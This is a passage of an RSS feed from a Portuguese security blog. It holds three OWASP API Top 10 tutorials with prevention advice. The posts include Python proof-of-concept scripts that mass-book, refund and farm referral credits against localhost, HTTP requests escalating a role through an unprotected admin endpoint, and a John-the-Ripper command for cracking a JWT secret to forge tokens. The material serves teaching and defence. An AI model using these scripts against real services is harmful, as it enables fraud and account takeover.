<strong>Unrestricted Access to Sensitive Business Flows</strong> destaca um dos riscos mais cr&#xED;ticos em arquiteturas modernas de APIs, permitindo que atacantes abusem de fluxos l&#xF3;gicos essenciais da aplica&#xE7;&#xE3;o sem restri&#xE7;&#xF5;es adequadas de seguran&#xE7;a.</p><p>Devido &#xE0; sua relev&</p>]]></description><link>https://blog.hackingclub.com/owasp-top-10-api/</link><guid isPermaLink="false">649c671ddfa294040097e8d9</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Fri, 14 Jul 2023 19:14:32 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/flows_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/flows_-HC_BLOG-1.jpg" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs"><p>A vulnerabilidade <strong>Unrestricted Access to Sensitive Business Flows</strong> destaca um dos riscos mais cr&#xED;ticos em arquiteturas modernas de APIs, permitindo que atacantes abusem de fluxos l&#xF3;gicos essenciais da aplica&#xE7;&#xE3;o sem restri&#xE7;&#xF5;es adequadas de seguran&#xE7;a.</p><p>Devido &#xE0; sua relev&#xE2;ncia em cen&#xE1;rios reais, essa vulnerabilidade foi oficialmente inclu&#xED;da no <strong>OWASP API Security Top 10 (2023)</strong>, ocupando a 6&#xAA; posi&#xE7;&#xE3;o no ranking. O problema &#xE9; especialmente comum em aplica&#xE7;&#xF5;es que exp&#xF5;em servi&#xE7;os financeiros, plataformas de e-commerce, sistemas de autentica&#xE7;&#xE3;o e APIs que dependem de valida&#xE7;&#xF5;es insuficientes de contexto e comportamento do usu&#xE1;rio.</p><h2 id="o-que-%C3%A9-o-unrestricted-access-to-sensitive-business-flows">O que &#xE9; o Unrestricted Access to Sensitive Business Flows?</h2><p>O Unrestricted Access to Sensitive Business Flows &#xE9; o tipo de vulnerabilidade que  n&#xE3;o explora necessariamente um bug t&#xE9;cnico, mas sim fraquezas na l&#xF3;gica de neg&#xF3;cios, possibilitando automa&#xE7;&#xE3;o de processos sens&#xED;veis, fraudes e abuso de funcionalidades cr&#xED;ticas.</p><h2 id="exemplos-de-cen%C3%A1rios-vulner%C3%A1veis">Exemplos de cen&#xE1;rios vulner&#xE1;veis:</h2><h3 id="cen%C3%A1rio-1">Cen&#xE1;rio #1</h3><p>Imagine que um sistema de reservas de quartos de hotel em S&#xE3;o Paulo dependa de uma API para processar essas reservas. Se essa API n&#xE3;o possuir um mecanismo de controle de acesso adequado e permitir que um invasor tenha acesso irrestrito ao endpoint respons&#xE1;vel pelo registro de reservas, essa pessoa mal-intencionada poderia criar um grande n&#xFA;mero de reservas em um hotel espec&#xED;fico. Isso causaria preju&#xED;zos tanto aos clientes afetados quanto &#xE0; receita do pr&#xF3;prio hotel.</p><h3 id="exemplo-de-endpoint-vulner%C3%A1vel">Exemplo de endpoint vulner&#xE1;vel</h3><p>Veja que o endpoint &quot;/api/v1/booking&quot; cria uma reserva:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/01.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1896" height="873" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/01.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/01.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/07/01.png 1600w, https://blog.hackingclub.com/content/images/2023/07/01.png 1896w" sizes="(min-width: 720px) 720px"></figure><p>Com a seguinte POC, conseguimos criar diversas reservas: </p><pre><code class="language-Python3">import requests, sys

users = [
    {
        &quot;name&quot;: &quot;Catarina Santos&quot;,
        &quot;cpf&quot;: &quot;111.111.111-11&quot;,
        &quot;email&quot;: &quot;catarina@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;11&quot;
    },
    {
        &quot;name&quot;: &quot;Lucas Oliveira&quot;,
        &quot;cpf&quot;: &quot;222.222.222-22&quot;,
        &quot;email&quot;: &quot;lucas@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;12&quot;
    },
    {
        &quot;name&quot;: &quot;Sofia Rodrigues&quot;,
        &quot;cpf&quot;: &quot;333.333.333-33&quot;,
        &quot;email&quot;: &quot;sofia@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;13&quot;
    },
    {
        &quot;name&quot;: &quot;Guilherme Silva&quot;,
        &quot;cpf&quot;: &quot;444.444.444-44&quot;,
        &quot;email&quot;: &quot;guilherme@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;14&quot;
    },
    {
        &quot;name&quot;: &quot;Mariana Costa&quot;,
        &quot;cpf&quot;: &quot;555.555.555-55&quot;,
        &quot;email&quot;: &quot;mariana@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;21&quot;
    },
    {
        &quot;name&quot;: &quot;Miguel Pereira&quot;,
        &quot;cpf&quot;: &quot;666.666.666-66&quot;,
        &quot;email&quot;: &quot;miguel@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;22&quot;
    },
    {
        &quot;name&quot;: &quot;Beatriz Almeida&quot;,
        &quot;cpf&quot;: &quot;777.777.777-77&quot;,
        &quot;email&quot;: &quot;beatriz@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;23&quot;
    },
    {
        &quot;name&quot;: &quot;Gabriel Carvalho&quot;,
        &quot;cpf&quot;: &quot;888.888.888-88&quot;,
        &quot;email&quot;: &quot;gabriel@mail.com&quot;,
        &quot;card&quot;:&quot;xxx.xxx.xxx&quot;,
        &quot;room&quot;: &quot;24&quot;
    }
]

if(sys.argv[1] == &quot;buy&quot;):
        

    for user in users:
        r = requests.post(&quot;http://localhost/api/v1/booking&quot;, json=user)
        print(r.text)

elif(sys.argv[1] == &quot;refund&quot;):

    for user in users:
        r = requests.post(&quot;http://localhost/api/v1/booking/refund&quot;, json=user)
        print(r.text)
else:
    exit()</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/02.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1488" height="357" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/02.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/02.png 1000w, https://blog.hackingclub.com/content/images/2023/07/02.png 1488w" sizes="(min-width: 720px) 720px"></figure><p>Veja que o endpoint permitiu diversas requests do mesmo IP. O correto seria limitar uma quantia de requests por IP.</p><p>O endpoint &quot;/api/v1/booking/refund&quot; faz o reembolso da reserva:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/03.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1481" height="504" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/03.png 1000w, https://blog.hackingclub.com/content/images/2023/07/03.png 1481w" sizes="(min-width: 720px) 720px"></figure><p>Executando a POC com o par&#xE2;metro &quot;refund&quot; conseguimos reembolsar todas as reservas:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/04.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1302" height="270" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/04.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/04.png 1000w, https://blog.hackingclub.com/content/images/2023/07/04.png 1302w" sizes="(min-width: 720px) 720px"></figure><h3 id="cen%C3%A1rio-2">Cen&#xE1;rio #2</h3><p>Suponha que um aplicativo de transporte fornece cr&#xE9;ditos adicionais para um usu&#xE1;rio caso outras pessoas se registrem no aplicativo utilizando seu c&#xF3;digo de convite. Se esse aplicativo n&#xE3;o controlar o n&#xFA;mero de registro de contas por aparelho, um invasor poderia criar um script para registrar diversas contas utilizando o mesmo link de convite, assim obtendo muitos cr&#xE9;ditos no aplicativo de transporte sem contribuir para o crescimento do aplicativo.</p><h3 id="exemplo-de-endpoint-vulner%C3%A1vel-1">Exemplo de endpoint vulner&#xE1;vel</h3><p>O endpoint &quot;/api/v1/code&quot; mostra o c&#xF3;digo de convite:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/06.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1476" height="498" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/06.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/06.png 1000w, https://blog.hackingclub.com/content/images/2023/07/06.png 1476w" sizes="(min-width: 720px) 720px"></figure><p>O endpoint &quot;/api/v1/credits&quot; verifica os seus cr&#xE9;ditos:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/07.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1638" height="452" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/07.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/07.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/07/07.png 1600w, https://blog.hackingclub.com/content/images/2023/07/07.png 1638w" sizes="(min-width: 720px) 720px"></figure><p>O endpoint &quot;/api/v1/register&quot; registra um novo usu&#xE1;rio, e &#xE9; poss&#xED;vel especificar um c&#xF3;digo de convite no par&#xE2;metro &quot;code&quot;:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/08.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1501" height="495" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/08.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/08.png 1000w, https://blog.hackingclub.com/content/images/2023/07/08.png 1501w" sizes="(min-width: 720px) 720px"></figure><p>Verificando novamente nossos cr&#xE9;ditos, vemos que ganhamos 15:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/09.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1631" height="408" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/09.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/09.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/07/09.png 1600w, https://blog.hackingclub.com/content/images/2023/07/09.png 1631w" sizes="(min-width: 720px) 720px"></figure><p>Com a seguinte POC, conseguimos registrar diversos usu&#xE1;rios utilizando nosso c&#xF3;digo de convite:</p><pre><code class="language-Python3">import requests, sys

users = [
    {
        &quot;name&quot;: &quot;Catarina Santos&quot;,
        &quot;cpf&quot;: &quot;111.111.111-11&quot;,
        &quot;email&quot;: &quot;catarina@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Lucas Oliveira&quot;,
        &quot;cpf&quot;: &quot;222.222.222-22&quot;,
        &quot;email&quot;: &quot;lucas@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Sofia Rodrigues&quot;,
        &quot;cpf&quot;: &quot;333.333.333-33&quot;,
        &quot;email&quot;: &quot;sofia@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Guilherme Silva&quot;,
        &quot;cpf&quot;: &quot;444.444.444-44&quot;,
        &quot;email&quot;: &quot;guilherme@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Mariana Costa&quot;,
        &quot;cpf&quot;: &quot;555.555.555-55&quot;,
        &quot;email&quot;: &quot;mariana@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Miguel Pereira&quot;,
        &quot;cpf&quot;: &quot;666.666.666-66&quot;,
        &quot;email&quot;: &quot;miguel@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Beatriz Almeida&quot;,
        &quot;cpf&quot;: &quot;777.777.777-77&quot;,
        &quot;email&quot;: &quot;beatriz@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    },
    {
        &quot;name&quot;: &quot;Gabriel Carvalho&quot;,
        &quot;cpf&quot;: &quot;888.888.888-88&quot;,
        &quot;email&quot;: &quot;gabriel@mail.com&quot;,
        &quot;code&quot;: &quot;A12M93Q&quot;
    }
]

for user in users:
    r = requests.post(&quot;http://localhost/api/v1/register&quot;, json=user)
    print(r.text)
</code></pre><p>Executando a POC:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/10.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1247" height="266" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/10.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/10.png 1000w, https://blog.hackingclub.com/content/images/2023/07/10.png 1247w" sizes="(min-width: 720px) 720px"></figure><p>Verificando nossos cr&#xE9;ditos novamente:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/07/11.png" class="kg-image" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs" loading="lazy" width="1535" height="356" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/07/11.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/07/11.png 1000w, https://blog.hackingclub.com/content/images/2023/07/11.png 1535w" sizes="(min-width: 720px) 720px"></figure><h2 id="como-prevenir-o-unrestricted-access-to-sensitive-business-flows">Como prevenir o Unrestricted Access to Sensitive Business Flows</h2><p>O planejamento de mitiga&#xE7;&#xE3;o deve ser feito em duas camadas:<br><br><strong>Identifique os fluxos de neg&#xF3;cios que podem prejudicar o neg&#xF3;cio caso sejam utilizados em excesso.<br><br>Escolha os mecanismos de prote&#xE7;&#xE3;o corretos para mitigar o risco do neg&#xF3;cio.</strong></p><p>Alguns dos mecanismos de prote&#xE7;&#xE3;o s&#xE3;o mais simples, enquanto outros s&#xE3;o mais dif&#xED;ceis de implementar. Os seguintes m&#xE9;todos s&#xE3;o usados &#x200B;&#x200B;para desacelerar as amea&#xE7;as automatizadas:</p><ul><li>Detec&#xE7;&#xE3;o humana: usando captcha ou solu&#xE7;&#xF5;es biom&#xE9;tricas mais avan&#xE7;adas (por exemplo, padr&#xF5;es de digita&#xE7;&#xE3;o)</li><li>Padr&#xF5;es n&#xE3;o humanos: analise o fluxo do usu&#xE1;rio para detectar padr&#xF5;es n&#xE3;o humanos (por exemplo, o usu&#xE1;rio acessou as fun&#xE7;&#xF5;es &quot;adicionar ao carrinho&quot; e &quot;concluir compra&quot; em menos de um segundo)</li><li>Considere o bloqueio de endere&#xE7;os IP de n&#xF3;s de sa&#xED;da do Tor e proxies conhecidos</li></ul><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/808d627bc3f72649eb0866684d23c1f120ad79b542d014c3a5606808499fba2d/OWASP/API-Security" alt="OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows &#x2014; Riscos Cr&#xED;ticos em APIs"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[OWASP TOP 10 API - Broken Function Level Authorization — Falhas de Controle de Acesso em APIs]]></title><description><![CDATA[<p>A vulnerabilidade <strong>Broken Function Level Authorization (BFLA)</strong> &#xE9; um dos problemas mais cr&#xED;ticos em <strong>Cyber Security</strong> envolvendo APIs modernas, permitindo que usu&#xE1;rios acessem funcionalidades e opera&#xE7;&#xF5;es que deveriam estar restritas por n&#xED;veis de permiss&#xE3;o. </p><p>Reconhecida por sua alta incid&</p>]]></description><link>https://blog.hackingclub.com/owasp-api-top-10-broken-function-level-authorization/</link><guid isPermaLink="false">648a2b1adfa294040097e7dc</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Mon, 26 Jun 2023 17:35:23 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/broken_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/broken_-HC_BLOG-1.jpg" alt="OWASP TOP 10 API - Broken Function Level Authorization &#x2014; Falhas de Controle de Acesso em APIs"><p>A vulnerabilidade <strong>Broken Function Level Authorization (BFLA)</strong> &#xE9; um dos problemas mais cr&#xED;ticos em <strong>Cyber Security</strong> envolvendo APIs modernas, permitindo que usu&#xE1;rios acessem funcionalidades e opera&#xE7;&#xF5;es que deveriam estar restritas por n&#xED;veis de permiss&#xE3;o. </p><p>Reconhecida por sua alta incid&#xEA;ncia em ambientes reais, essa vulnerabilidade integra o <strong>OWASP API Security Top 10 (2023)</strong> e representa um risco significativo para aplica&#xE7;&#xF5;es que exp&#xF5;em m&#xFA;ltiplos perfis de acesso, como sistemas corporativos, plataformas SaaS e servi&#xE7;os financeiros. A explora&#xE7;&#xE3;o pode levar &#xE0; manipula&#xE7;&#xE3;o de dados cr&#xED;ticos, execu&#xE7;&#xE3;o de opera&#xE7;&#xF5;es privilegiadas e comprometimento da integridade do sistema.</p><h2 id="o-que-%C3%A9-o-broken-function-level-authorization">O que &#xE9; o Broken Function Level Authorization?</h2><p>O <strong>Broken Function Level Authorization</strong> &#xE9; uma vulnerabilidade que ocorre quando o servidor n&#xE3;o valida corretamente os privil&#xE9;gios associados ao usu&#xE1;rio autenticado, possibilitando acesso indevido a a&#xE7;&#xF5;es administrativas ou fun&#xE7;&#xF5;es sens&#xED;veis da aplica&#xE7;&#xE3;o.</p><h2 id="cen%C3%A1rios-em-que-encontramos-o-broken-function-level-authorization">Cen&#xE1;rios em que encontramos o Broken Function Level Authorization</h2><p>Imagine que um jogo utilize uma API para gerenciar os cargos dos jogadores. A API em quest&#xE3;o possu&#xED; os endpoints:</p><pre><code>/v1/players/roles/:id
/v1/players/roles/add/:id</code></pre><p>O endpoint &quot;/v1/players/roles/:id&quot; &#xE9; utilizado para verificar os cargos/niveis do jogador referente ao &quot;id&quot; especificado na rota. Esse endpoint &#xE9; aberto para que o jogo verifique os cargos dos jogadores.</p><p>O endpoint &quot;/v1/players/roles/add/:id&quot; &#xE9; utilizado para atribuir um novo cargo/nivel &#xE0; um jogador, portante esse endpoint deve ser protegido para que apenas administradores tenham acesso. Mas e se esse endpoint n&#xE3;o estivesse configurado para bloquear requisi&#xE7;&#xF5;es de usu&#xE1;rios que n&#xE3;o possuem permiss&#xF5;es de administradores? Caso isso acontecesse, qualquer usu&#xE1;rio/jogador conseguiria atualizar seus cargos/niveis dentro do jogo.</p><h3 id="cen%C3%A1rio-1">Cen&#xE1;rio #1</h3><p>Suponhamos que o token &quot;xxx.xxx.xxx&quot; n&#xE3;o possu&#xED; permiss&#xF5;es de administradores.</p><pre><code class="language-JSON">GET /v1/players/roles/12
Host: api.example.com
x-access-token: xxx.xxx.xxx

200 OK
...
{
    &quot;status&quot;:&quot;success&quot;,
    &quot;role&quot;: &quot;Soldier&quot;
}</code></pre><pre><code class="language-JSON">POST /v1/players/roles/add/12
Host: api.example.com
Content-type: application/json
...
x-access-token: xxx.xxx.xxx

{
    &quot;newrole&quot;: &quot;Legend&quot;,
    &quot;oldrole&quot;: &quot;Soldier&quot;
}


200 OK
...

{
	&quot;status&quot;:&quot;success&quot;,
	&quot;message&quot;: &quot;role updated&quot;
}</code></pre><p>Esse cen&#xE1;rio est&#xE1; vulner&#xE1;vel a Broken Function Level Authorization, pois um endpoint que cont&#xE9;m uma fun&#xE7;&#xE3;o administrativa deveria ser configurado apenas para administradores, mas est&#xE1; exposto para usu&#xE1;rios comuns.</p><h3 id="como-prevenir-o-broken-function-level-authorization">Como prevenir o Broken Function Level Authorization?</h3><p>Configure as permiss&#xF5;es corretas para endpoints que cont&#xE9;m fun&#xE7;&#xF5;es administrativas. Uma boa pr&#xE1;tica &#xE9; utilizar middlewares para gerenciar autoriza&#xE7;&#xE3;o dos endpoints, pois se uma middlware foi configurada em &quot;/v1/admin&quot;, o comum &#xE9; que todas as rotas que vierem depois de &quot;/v1/admin/xxx&quot; ir&#xE3;o precisar de autoriza&#xE7;&#xE3;o tamb&#xE9;m, assim evitando o Broken Function Level Authorization.</p><p></p><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa5-broken-function-level-authorization.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/editions/2023/en/0xa5-broken-function-level-authorization.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="OWASP TOP 10 API - Broken Function Level Authorization &#x2014; Falhas de Controle de Acesso em APIs"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">OWASP</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/42ff3fd56e170529ce33c503b9c2195e8e460ab0b3a805aea6a6291a37919b32/OWASP/API-Security" alt="OWASP TOP 10 API - Broken Function Level Authorization &#x2014; Falhas de Controle de Acesso em APIs"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[Broken Authentication — Falhas Críticas de Autenticação em APIs]]></title><description><![CDATA[<p><strong>Broken Authentication</strong> &#xE9; uma das vulnerabilidades mais cr&#xED;ticas em <strong>Cyber Security</strong>, afetando mecanismos de autentica&#xE7;&#xE3;o respons&#xE1;veis por validar a identidade de usu&#xE1;rios e sistemas. Em APIs modernas, essa falha permite que atacantes acessem endpoints restritos, assumam contas de usu&#xE1;rios</p>]]></description><link>https://blog.hackingclub.com/owasp-api/</link><guid isPermaLink="false">6477725edfa294040097e653</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Mon, 12 Jun 2023 23:54:39 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/broken1_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/broken1_-HC_BLOG-1.jpg" alt="Broken Authentication &#x2014; Falhas Cr&#xED;ticas de Autentica&#xE7;&#xE3;o em APIs"><p><strong>Broken Authentication</strong> &#xE9; uma das vulnerabilidades mais cr&#xED;ticas em <strong>Cyber Security</strong>, afetando mecanismos de autentica&#xE7;&#xE3;o respons&#xE1;veis por validar a identidade de usu&#xE1;rios e sistemas. Em APIs modernas, essa falha permite que atacantes acessem endpoints restritos, assumam contas de usu&#xE1;rios ou executem a&#xE7;&#xF5;es sens&#xED;veis sem comprovar devidamente suas credenciais.</p><p>Reconhecida entre as principais amea&#xE7;as do <strong>OWASP API Security Top 10 (2023)</strong>, essa vulnerabilidade abrange falhas como autentica&#xE7;&#xE3;o ausente, valida&#xE7;&#xE3;o inadequada de tokens, gerenciamento inseguro de sess&#xF5;es e at&#xE9; mecanismos que permitem login com credenciais incorretas. Quando explorada, pode resultar em <strong>Account Takeover</strong>, vazamento de dados sens&#xED;veis e comprometimento completo da aplica&#xE7;&#xE3;o.</p><h2 id="exemplos-de-ataques-que-exploram-broken-authentication">Exemplos de ataques que exploram Broken Authentication</h2><p>Quando uma API utiliza tokens JWTs para autentica&#xE7;&#xE3;o de seus usu&#xE1;rios, podemos testar alguns tipos de ataques como o &quot;None Attack&quot;, ou &quot;Weak Secret&quot;, que s&#xE3;o ataques que permitem com que o atacante assine o token JWT, assim forjando um token de autentica&#xE7;&#xE3;o.</p><p>Outro ataque que &#xE9; considerado Broken Authentication &#xE9; o brute force em endpoints de autentica&#xE7;&#xE3;o. As APIs sempre devem impor um rate limiting para que n&#xE3;o ocorra brute force. Se um atacante conseguir um nome de usu&#xE1;rio ou email v&#xE1;lido para autentica&#xE7;&#xE3;o, ele pode fazer brute force na senha para conseguir se autenticar.</p><h2 id="cen%C3%A1rios-em-que-ocorre-o-broken-authentication">Cen&#xE1;rios em que ocorre o Broken Authentication </h2><h3 id="cen%C3%A1rio-1"><br>Cen&#xE1;rio #1</h3><p>Um blog utiliza uma API para listar, criar e editar seus Posts/artigos. Ent&#xE3;o R$10,00 mensais s&#xE3;o cobrados para que seus usu&#xE1;rios tenham acesso aos artigos publicados. Ao fazer login no blog, um JWT &#xE9; retornado como token de autentica&#xE7;&#xE3;o, por&#xE9;m sua &quot;Secret Key&quot; &#xE9; fraca. Sendo assim um atacante consegue utilizar o John-the-ripper para descobrir sua &quot;Secret key&quot;, assim forjando tokens de autentica&#xE7;&#xE3;o com uma data de expira&#xE7;&#xE3;o vital&#xED;cia.</p><pre><code>john hash --format=HMAC-SHA256 --wordlist=/path/to/wordlist</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/05/Screenshot-2023-05-31-150852.png" class="kg-image" alt="Broken Authentication &#x2014; Falhas Cr&#xED;ticas de Autentica&#xE7;&#xE3;o em APIs" loading="lazy" width="1280" height="273" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/05/Screenshot-2023-05-31-150852.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/05/Screenshot-2023-05-31-150852.png 1000w, https://blog.hackingclub.com/content/images/2023/05/Screenshot-2023-05-31-150852.png 1280w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/05/2023-05-31_15-14.png" class="kg-image" alt="Broken Authentication &#x2014; Falhas Cr&#xED;ticas de Autentica&#xE7;&#xE3;o em APIs" loading="lazy" width="1329" height="816" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/05/2023-05-31_15-14.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/05/2023-05-31_15-14.png 1000w, https://blog.hackingclub.com/content/images/2023/05/2023-05-31_15-14.png 1329w" sizes="(min-width: 720px) 720px"></figure><h3 id="cen%C3%A1rio-2">Cen&#xE1;rio #2</h3><p>Uma empresa utiliza um site para definir tarefas para seus funcion&#xE1;rios e infrom&#xE1;-los sobre atualiza&#xE7;&#xF5;es mensais entre outras coisas. Esse site utiliza uma API para gerenciar a autentica&#xE7;&#xE3;o de seus usu&#xE1;rios. Toda vez que um usu&#xE1;rio acessa o site, a API verifica se um token &#xE9; especificado no header &quot;x-access-token&quot;, por&#xE9;m ela n&#xE3;o verifica se o token &#xE9; v&#xE1;lido, ou seja, um atacante pode especificar um token falso, assim burlando a autentica&#xE7;&#xE3;o. </p><h2 id="como-prevenir-o-broken-authentication">Como prevenir o Broken Authentication?</h2><ul><li>Implemente um sistema de rate limit em sua API.</li><li>Configure uma politica de senha para que evite de seus usu&#xE1;rios serem facilmente hackeados.</li><li>Implemente um sistema de captcha.</li><li>Utilize bibliotecas atualizadas, para que n&#xE3;o haja vulnerabilidades em seus tokens de autentica&#xE7;&#xE3;o.</li><li>Utilize secret keys fortes.</li><li>Verifique se os endpoints est&#xE3;o validando o token de autentica&#xE7;&#xE3;o corretamente.</li></ul><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API-Security/0xa2-broken-authentication.md at master &#xB7; OWASP/API-Security</div><div class="kg-bookmark-description">OWASP API Security Project. Contribute to OWASP/API-Security development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Broken Authentication &#x2014; Falhas Cr&#xED;ticas de Autentica&#xE7;&#xE3;o em APIs"><span 